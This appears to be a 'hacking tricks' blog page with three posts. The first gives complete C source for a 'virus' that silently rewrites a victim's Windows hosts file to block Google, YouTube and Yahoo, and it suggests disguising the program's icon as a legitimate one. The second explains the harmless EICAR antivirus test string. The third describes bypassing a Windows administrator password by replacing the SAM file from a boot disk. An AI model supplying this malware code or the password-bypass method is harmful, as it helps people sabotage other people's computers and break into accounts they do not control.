A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking.

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h> char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run. 

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1                                google.com

5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.

How to Test the Working of your Antivirus – EICAR Test

Have you ever wondered how to test your Antivirus software to ensure it’s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will work on any antivirus and was developed by European Institute of Computer Antivirus Research. This process can be used by people, companies and antivirus programmers to test the proper functioning of the antivirus/antimalware software without having to deal with the real computer virus which can cause damage to the computer. Here is a step-by-step procedure to test your antivirus.


1. Open a notepad (New Text Document.TXT) and copy the following code exactly onto it, and save the notepad.

EICAR Test code

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

 

2. Rename the file from New Text Document.TXT to myfile.com

3. Now run the antivirus scan on this myfile.com file.

If the antivirus is functioning properly on your computer, then it should generate a warning and immediately delete the file upon scanning. Otherwise you may have to re-install your antivirus.

NOTE: Most antivirus will pop-out a warning message in the Step-1 itself

 

You can also place the myfile.com file in a ZIP or RAR file and run a scan on it so as to ensure whether your antivirus can detect the test string in the compressed archive. Any antivirus when scanning this file will respond exactly as it will do for a genuine virus/malicious code. This test will cause no damage to your computer even though the antivirus will flag it as a malicious script. Hence it is the safest method to test the proper functioning of any antivirus.

Breaking Administrator’s Password

Administrator password can be broken by replacing sam file in system32\config by the sam file in repair folder of windows. it can be easily done on a machine with dual operating systems, simply log on to os other then the one whoes password is to be cracked the way is exactly same as written above but if there is a single os on a machine then there is only one way i.e to use ms dos start up disk or some other boot disk and replace the sam file in config folder with the one in repair folder

note:- this method works only if hard drive is FAT32 formatted because NTFS drive does’nt take boot from Ms DOSThis way you can remove the old administratOr password as if the windows is newly installed and the password was’nt set